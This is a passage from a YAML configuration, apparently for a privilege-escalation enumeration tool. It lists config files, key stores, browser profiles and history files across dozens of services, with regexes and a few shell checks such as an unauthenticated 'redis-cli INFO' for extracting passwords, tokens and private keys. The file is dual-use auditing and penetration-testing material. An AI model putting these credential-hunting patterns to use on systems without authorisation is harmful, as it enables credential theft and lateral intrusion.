value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"couchdb\"\n            value: \n                files:\n                  - name: \"local.ini\"\n                    value:\n                        bad_regex: \"admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*\"\n                        remove_empty_lines: True\n                        remove_regex: \"^;\"\n                type: d\n                search_in: \n                  - common\n  \n  - name: Redis\n    value:\n        config:\n          auto_check: True\n          exec:\n            - '( redis-server --version || echo_not_found \"redis-server\") 2>/dev/null'\n            - redis_info=\"$(if [ \"$TIMEOUT\" ]; then $TIMEOUT 2 redis-cli INFO 2>/dev/null; else redis-cli INFO 2>/dev/null; fi)\"; if [ \"$redis_info\" ] && ! echo \"$redis_info\" | grep -i NOAUTH; then echo \"Redis isn't password protected\" | sed -${E} \"s,.*,${SED_RED},\"; fi\n\n        files:\n          - name: \"redis.conf\"\n            value: \n                bad_regex: \"masterauth.*|requirepass.*\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n  \n  - name: Mosquitto\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"mosquitto.conf\"\n            value: \n                bad_regex: \"password_file.*|psk_file.*|allow_anonymous.*true|auth\"\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n\n  - name: Neo4j\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"neo4j\"\n            value: \n                files:\n                  - name: \"auth\"\n                    value:\n                        bad_regex: \".*\"\n                        remove_empty_lines: True\n                type: d\n                search_in: \n                  - common\n  \n  - name: Cloud Init\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"cloud.cfg\"\n            value: \n                bad_regex: \"consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy\"\n                only_bad_lines: True\n                type: f\n                remove_empty_lines: True\n                remove_regex: '\\W+\\#|^#'\n                search_in: \n                  - common\n  \n  - name: Erlang\n    value:\n        config:\n          auto_check: True\n    \n        files:\n          - name: \".erlang.cookie\"\n            value: \n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n  - name: SIP\n    value:\n        config:\n          auto_check: True\n    \n        files:\n          - name: \"sip.conf\"\n            value: \n                bad_regex: \"secret.*|allowguest.*=.*true\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"amportal.conf\"\n            value: \n                bad_regex: \".*PASS.*=.*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n                  \n          - name: \"FreePBX.conf\"\n            value: \n                bad_regex: \".*AMPDB.*=.*\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n                  \n          - name: \"Elastix.conf\"\n            value: \n                bad_regex: \".*pwd.*=.*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: GMV Auth\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"gvm-tools.conf\"\n            value: \n                bad_regex: \"username.*|password.*\"\n                type: f\n                search_in: \n                  - common\n    \n  - name: IPSec\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"ipsec.secrets\"\n            value: \n                bad_regex: \".*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"ipsec.conf\"\n            value: \n                bad_regex: \".*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*\"\n                type: f\n                search_in: \n                  - common\n  \n  - name: IRSSI\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name:  \".irssi\"\n            value: \n                files:\n                  - name: \"config\"\n                    value:\n                        bad_regex: \"password.*\"      \n                type: d\n                search_in: \n                  - common\n    \n  - name: Keyring\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"keyrings\"\n            value: \n                type: d\n                search_in: \n                  - common\n      \n          - name: \"*.keyring\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"*.keystore\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"*.jks\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Virtual Disks\n    value:\n        config:\n          auto_check: True\n\n        files:\n      \n          - name: \"*.vhd\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          - name: \"*.vhdx\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n         \n          - name: \"*.vmdk\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Filezilla\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"filezilla\"\n            value: \n                files:\n                  - name: \"sitemanager.xml\"\n                    value:\n                        bad_regex: \"Host.*|Port.*|Protocol.*|User.*|Pass.*\"\n                        remove_empty_lines: True\n                        remove_regex: \"^;\"\n                type: d\n                search_in: \n                  - common\n\n          - name: \"filezilla.xml\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"recentservers.xml\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Backup Manager\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"storage.php\"\n            value:\n                bad_regex: \"password|pass|user|database|host\"\n                line_grep: >- \n                  \"'pass'|'password'|'user'|'database'|'host'\"\n                type: f\n                search_in: \n                  - common\n      \n          - name:  \"database.php\"\n            value: \n                bad_regex: \"password|pass|user|database|host\"\n                line_grep: >-\n                  \"'pass'|'password'|'user'|'database'|'host'\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n    \n  - name: Splunk\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name:  \"passwd\"\n            value: \n                type: f\n                search_in: \n                  - common\n  \n  - name: Git\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name:  \".git-credentials\"\n            value:\n                bad_regex: \".*\"\n                type: f\n                search_in: \n                  - common\n                  \n  - name: Atlantis\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name:  \"atlantis.db\"\n            value:\n                bad_regex: \"CloneURL|Username\"\n                type: f\n                search_in: \n                  - common\n                  \n  - name: GitLab\n    value:\n        config:\n          auto_check: False\n    \n        files:\n          - name: \"secrets.yml\"\n            value: \n                type: f\n                remove_path: \"/lib\"\n                search_in: \n                  - common\n\n          - name:  \"gitlab.yml\"\n            value: \n                type: f\n                remove_path: \"/lib\"\n                search_in: \n                  - common\n      \n          - name: \"gitlab.rm\"\n            value: \n                type: f\n                remove_path: \"/lib\"\n                search_in: \n                  - common\n  \n  - name: PGP-GPG\n    value:\n        config:\n          auto_check: True\n          exec:\n            - '( (command -v gpg && gpg --list-keys) || echo_not_found \"gpg\") 2>/dev/null'\n            - '( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found \"netpgpkeys\") 2>/dev/null'\n            - '(command -v netpgp || echo_not_found \"netpgp\") 2>/dev/null'\n\n        files:\n          - name: \"*.pgp\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.gpg\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.asc\"\n            value:\n                type: f\n                remove_path: \"/usr/share/|/usr/lib/|/lib/|/man/\"\n                search_in:\n                  - common\n\n          - name: \"secring.gpg\"\n            value:\n                type: f\n                search_in:\n                  - common\n\n          - name: \"pubring.kbx\"\n            value:\n                type: f\n                search_in:\n                  - common\n\n          - name: \"trustdb.gpg\"\n            value:\n                type: f\n                search_in:\n                  - common\n\n          - name: \"gpg-agent.conf\"\n            value:\n                type: f\n                search_in:\n                  - common\n\n          - name: \"secret.asc\"\n            value:\n                type: f\n                just_list_file: True\n                search_in:\n                  - common\n\n          - name: \"private-keys-v1.d/*.key\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"*.gnupg\"\n            value: \n                type: f\n                remove_path: \"README.gnupg\"\n                search_in: \n                  - common\n\n  - name: Cache Vi\n    value:\n        disable:\n          - winpeas\n    \n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.swp\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \"*.viminfo\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n    \n  - name: Docker\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"docker.socket\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"docker.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n\n          - name: \"Dockerfile\"\n            value: \n                type: f\n                search_in: \n                  - common\n      \n          - name: \"docker-compose.yml\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"dockershim.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"containerd.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"crio.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"frakti.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n          \n          - name: \"rktlet.sock\"\n            value: \n                type: f\n                search_in: \n                  - common\n                  \n          - name: \".docker\"\n            value: \n              files:\n                - name: \"config.json\"\n                  value:\n                      bad_regex: \".*\"\n                      remove_empty_lines: True\n              type: d\n              search_in: \n                - common\n\n\n  - name: Firefox\n    value:\n        disable:\n          - winpeas\n    \n        config:\n          auto_check: True\n\n        files:\n          - name: \".mozilla\"\n            value: \n                files:\n                  - name: \"places.sqlite\"\n                    value:\n                        just_list_file: True\n            \n                  - name: \"bookmarkbackups\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"formhistory.sqlite\"\n                    value:\n                        just_list_file: True\n            \n                  - name: \"handlers.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"persdict.dat\"\n                    value:\n                        just_list_file: True\n\n                  - name:  \"addons.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"cookies.sqlite\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"cache2\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"startupCache\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"favicons.sqlite\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"prefs.js\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"downloads.sqlite\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"thumbnails\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"logins.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"key4.db\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"key3.db\"\n                    value:\n                        just_list_file: True\n\n            type: d\n            search_in: \n              - $HOMESEARCH\n          \n          - name: \"Firefox\"\n            value: \n                files:\n                  - name: \"places.sqlite\"\n                    value:\n                        just_list_file: True\n            \n                  - name: \"bookmarkbackups\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"formhistory.sqlite\"\n                    value:\n                        just_list_file: True\n            \n                  - name: \"handlers.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"persdict.dat\"\n                    value:\n                        just_list_file: True\n\n                  - name:  \"addons.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"cookies.sqlite\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"cache2\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"startupCache\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"favicons.sqlite\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"prefs.js\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"downloads.sqlite\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"thumbnails\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"logins.json\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"key4.db\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"key3.db\"\n                    value:\n                        just_list_file: True\n\n            type: d\n            search_in: \n              - $HOMESEARCH\n\n  - name: Chrome\n    value:\n        disable:\n          - winpeas\n    \n        config:\n          auto_check: True\n    \n        files:\n          - name: \"google-chrome\"\n            value: \n                files:\n                  - name: \"History\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Cookies\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Cache\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Bookmarks\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Web Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Favicons\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Login Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Current Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Current Tabs\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Tabs\"\n                    value: \n                        just_list_file: True\n\n                  - name: \"Extensions\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Thumbnails\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Preferences\"\n                    value:\n                        just_list_file: True\n                  \n                  - name: \"Custom Dictionary.txt\"\n                    value:\n                        just_list_file: True\n            \n            type: d\n            search_in: \n              - $HOMESEARCH\n\n          - name: \"Chrome\"\n            value: \n                files:\n                  - name: \"History\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Cookies\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Cache\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Bookmarks\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Web Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Favicons\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Login Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Current Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Current Tabs\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Tabs\"\n                    value: \n                        just_list_file: True\n\n                  - name: \"Extensions\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Thumbnails\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Preferences\"\n                    value:\n                        just_list_file: True\n            \n            type: d\n            search_in: \n              - $HOMESEARCH          \n\n  - name: Opera\n    value:\n        disable:\n          - winpeas\n    \n        config:\n          auto_check: True\n\n        files:\n          - name: \"com.operasoftware.Opera\"\n            value: \n                files:\n                  - name: \"History\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Cookies\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Cache\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Bookmarks\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Web Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Favicons\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Login Data\"\n                    value:\n                        just_list_file: True\n          \n                  - name: \"Current Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Current Tabs\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Session\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Last Tabs\"\n                    value: \n                        just_list_file: True\n\n                  - name: \"Extensions\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Thumbnails\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"Preferences\"\n                    value:\n                        just_list_file: True\n\n            type: d\n            search_in: \n              - $HOMESEARCH\n  \n  - name: Safari\n    value:\n        disable:\n          - winpeas\n    \n        config:\n          auto_check: True\n\n        files:\n          - name: \"Safari\"\n            value: \n                files:\n                  - name:  \"History.db\"\n                    value:\n                        just_list_file: True\n                  \n                  - name:  \"Downloads.plist\"\n                    value:\n                        just_list_file: True\n                  \n                  - name:  \"Book-marks.plist\"\n                    value:\n                        just_list_file: True\n                  \n                  - name:  \"TopSites.plist\"\n                    value:\n                        just_list_file: True\n\n                  - name:  \"UserNotificationPermissions.plist\"\n                    value:\n                        just_list_file: True\n\n                  - name:  \"LastSession.plist\"\n                    value:\n                        just_list_file: True\n            \n            type: d\n            search_in: \n              - $HOMESEARCH\n\n  - name: Autologin\n    value:\n        disable:\n          - winpeas\n        \n        config:\n          auto_check: True\n\n        files:\n          - name: \"autologin\"\n            value: \n                bad_regex: \"passwd\"\n                type: f\n                search_in: \n                  - common\n\n          - name: \"autologin.conf\"\n            value: \n                bad_regex: \"passwd\"\n                type: f\n                search_in: \n                  - common\n  \n  - name: FastCGI\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"fastcgi_params\"\n            value: \n                bad_regex: \"DB_NAME|DB_USER|DB_PASS\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Fat-Free\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"fat.config\"\n            value: \n                bad_regex: \"password.*\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Shodan\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"api_key\"\n            value: \n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Concourse\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".flyrc\"\n            value: \n                bad_regex: \"token:*|value:.*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"concourse-auth\"\n            value: \n              files:\n                - name: \"host-key\"\n                  value:\n                      bad_regex: \"RSA PRIVATE KEY\"\n                      remove_empty_lines: True\n                - name: \"local-users\"\n                  value:\n                      bad_regex: \".*\"\n                      remove_empty_lines: True\n                - name: \"session-signing-key\"\n                  value:\n                      bad_regex: \".*\"\n                      remove_empty_lines: True\n                - name: \"worker-key-pub\"\n                  value:\n                      just_list_file: True\n              type: d\n              search_in: \n                - common\n                - ${ROOT_FOLDER}concourse-auth\n          \n          - name: \"concourse-keys\"\n            value: \n              files:\n                - name: \"host_key\"\n                  value:\n                      bad_regex: \"RSA PRIVATE KEY\"\n                      remove_empty_lines: True\n                - name: \"session_signing_key\"\n                  value:\n                      bad_regex: \".*\"\n                      remove_empty_lines: True\n                - name: \"worker_key.pub\"\n                  value:\n                      just_list_file: True\n              type: d\n              search_in: \n                - common\n                - ${ROOT_FOLDER}concourse-keys\n\n  - name: Boto\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".boto\"\n            value: \n                bad_regex: \".*\"\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: SNMP\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"snmpd.conf\"\n            value: \n                bad_regex: \"rocommunity|rwcommunity|extend.*|^createUser\"\n                only_bad_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Pypirc\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".pypirc\"\n            value: \n                bad_regex: \"username|password\"\n                type: f\n                search_in: \n                  - common\n  \n  - name: Postfix\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"postfix\"\n            value: \n              files:\n                - name: \"master.cf\"\n                  value:\n                      bad_regex: \"user=|argv=\"\n                      remove_empty_lines: True\n                      line_grep: '\"user=\"'\n              type: d\n              search_in: \n                - common\n\n  - name: CloudFlare\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".cloudflared\"\n            value: \n                type: d\n                just_list_file: True\n                search_in: \n                  - common\n\n  - name: History\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: '*_history*'\n            value: \n                bad_regex: \"$pwd_inside_history\"\n                line_grep: '-a \"$pwd_inside_history\"'\n                type: f\n                search_in: \n                  - common\n    \n  - name: Http_conf\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name:  \"httpd.conf\"\n            value: \n                bad_regex: \"htaccess.*|htpasswd.*\"\n                only_bad_lines: True\n                remove_regex: '\\W+\\#|^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Htpasswd\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".htpasswd\"\n            value: \n                bad_regex: \".*\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Ldaprc\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".ldaprc\"\n            value: \n                bad_regex: \".*\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n    \n  - name: Env\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".env*\"\n            value: \n                bad_regex: \"[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB]|[pP][rR][iI][vV][aA][tT][eE]|[kK][eE][yY]\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                remove_path: \"example\"\n                search_in: \n                  - common\n\n  - name: Proxy_Config\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"environment\"\n            value:\n                bad_regex: \"(http|https|ftp|all)_proxy|no_proxy\"\n                only_bad_lines: True\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                check_extra_path: \"^/etc/environment$\"\n                search_in:\n                  - common\n\n          - name: \"apt.conf\"\n            value:\n                bad_regex: \"Acquire::http::Proxy|Acquire::https::Proxy|proxy\"\n                only_bad_lines: True\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in:\n                  - common\n\n          - name: \"apt.conf.d\"\n            value:\n                type: d\n                files:\n                  - name: \"*\"\n                    value:\n                        bad_regex: \"Acquire::http::Proxy|Acquire::https::Proxy|proxy\"\n                        only_bad_lines: True\n                        remove_empty_lines: True\n                        remove_regex: '^#'\n                        type: f\n                search_in:\n                  - common\n    \n  - name: Sniffing_Artifacts\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.pcap\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"*.pcapng\"\n            value:\n                just_list_file: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"keys.log\"\n            value:\n                bad_regex: \"CLIENT_RANDOM|SERVER_HANDSHAKE_TRAFFIC_SECRET|CLIENT_HANDSHAKE_TRAFFIC_SECRET|EXPORTER_SECRET|RESUMPTION_MASTER_SECRET\"\n                only_bad_lines: True\n                remove_empty_lines: True\n                type: f\n                search_in:\n                  - common\n\n          - name: \"sslkeylog.log\"\n            value:\n                bad_regex: \"CLIENT_RANDOM|SERVER_HANDSHAKE_TRAFFIC_SECRET|CLIENT_HANDSHAKE_TRAFFIC_SECRET|EXPORTER_SECRET|RESUMPTION_MASTER_SECRET\"\n                only_bad_lines: True\n                remove_empty_lines: True\n                type: f\n                search_in:\n                  - common\n    \n  - name: Msmtprc\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".msmtprc\"\n            value: \n                bad_regex: \"user.*|password.*\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: InfluxDB\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"influxdb.conf\"\n            value: \n                bad_regex: \"auth-enabled.*=.*false|token|https-private-key\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Zabbix\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"zabbix_server.conf\"\n            value: \n                bad_regex: \"DBName|DBUser|DBPassword\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"zabbix_agentd.conf\"\n            value: \n                bad_regex: \"TLSPSKFile|psk\"\n                remove_regex: '^#'\n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n          \n          - name: \"zabbix\"\n            value: \n              files:\n                - name: \"*.psk\"\n                  value:\n                      bad_regex: \".*\"\n                      remove_empty_lines: True\n              type: d\n              search_in: \n                - common\n\n  \n  - name: Github\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".github\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n      \n          - name: \".gitconfig\"\n            value: \n                remove_empty_lines: True\n                type: f\n                search_in: \n                  - common\n        \n          - name: \".git-credentials\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \".git\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Svn\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".svn\"\n            value: \n                just_list_file: True\n                type: d\n                search_in: \n                  - common\n\n  - name: Keepass\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.kdbx\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"KeePass.config*\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"KeePass.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"KeePass.enforced*\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n        \n  - name: Pre-Shared Keys\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"*.psk\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n  \n  - name: Pass Store Directories\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \".password-store\"\n            value: \n                just_list_file: True\n                type: d\n                search_in: \n                  - common\n\n  - name: FTP\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"vsftpd.conf\"\n            value: \n                type: f\n                bad_regex: \"anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable|[yY][eE][sS]\"\n                good_regex: \"\\\\s[nN][oO]|=[nN][oO]\"\n                line_grep: '\"anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable\"'\n                remove_empty_lines: True\n                search_in: \n                  - common\n\n          - name: \"*.ftpconfig\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"ffftp.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"ftp.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"ftp.config\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"sites.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"wcx_ftp.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"winscp.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n          - name: \"ws_ftp.ini\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Samba\n    value:\n        config:\n          auto_check: True\n          exec:\n            - 'smbstatus 2>/dev/null'\n\n        files:\n          - name: \"smb.conf\"\n            value: \n                type: f\n                bad_regex: \"browseable.*yes|read only.*no|writable.*yes|guest ok.*yes|enable privileges.*yes|create mask.*|directory mask.*|logon script.*|magic script.*|magic output.*\"\n                good_regex: \"browseable.*no|read only.*yes|writable.*no|guest ok.*no|enable privileges.*no\"\n                line_grep: '\"browseable|read only|writable|guest ok|enable privileges|create mask|directory mask|logon script|magic script|magic output\"'\n                remove_empty_lines: True\n                search_in: \n                  - common\n\n  - name: DNS\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"bind\"\n            value: \n                files:\n                  - name: \"*\"\n                    value:\n                        just_list_file: True\n\n                  - name: \"*.key\"\n                    value:\n                        bad_regex: \".*\"\n                        remove_empty_lines: True\n                        remove_regex: '^#'\n                  \n                  - name: \"named.conf*\"\n                    value:\n                        bad_regex: \"allow-query|allow-recursion|allow-transfer|zone-statistics|file .*\"\n                        remove_empty_lines: True\n                        remove_regex: '^#|//'\n\n                type: d\n                search_in: \n                  - ${ROOT_FOLDER}etc #False possitives in home\n                  - ${ROOT_FOLDER}var\n                  - ${ROOT_FOLDER}usr\n\n  - name: SeedDMS\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"seeddms*\"\n            value: \n                files:\n                  - name: \"settings.xml\"\n                    value:\n                        bad_regex: \"[pP][aA][sS][sS]\"\n                        line_grep: '\"=\"'\n                type: d\n                search_in: \n                  - common\n\n  - name: Ddclient\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"ddclient.conf\"\n            value: \n                bad_regex: \".*password.*\"\n                type: f\n                search_in: \n                  - common\n  \n  - name: kcpassword\n    value:\n        config:\n          auto_check: False\n\n        files:\n          - name: \"kcpassword\"\n            value: \n                just_list_file: True\n                type: f\n                search_in: \n                  - common\n\n  - name: Sentry\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"sentry\"\n            value: \n                files:\n                  - name: \"config.yml\"\n                    value:\n                        bad_regex: \"*key*\"\n                        remove_empty_lines: True\n                        remove_regex: '^#'\n                type: d\n                search_in: \n                  - common\n          \n          - name: \"sentry.conf.py\"\n            value: \n                bad_regex: \"[pP][aA][sS][sS].*|[uU][sS][eE][rR].*\"\n                remove_empty_lines: True\n                remove_regex: '^#'\n                type: f\n                search_in: \n                  - common\n\n  - name: Strapi\n    value:\n        config:\n          auto_check: True\n\n        files:\n          - name: \"environments\"\n            value: \n                files:\n                  - name: \"custom.json\"\n                    value:\n                        bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                  - name: \"database.json\"\n                    value:\n                        bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                  - name: \"request.json\"\n                    value:\n                        bad_regex: \"username.*|[pP][aA][sS][sS].*|secret.*\"\n                        remove_empty_lines: True\n                  - name: \"response.json\"\n                    value:\n                        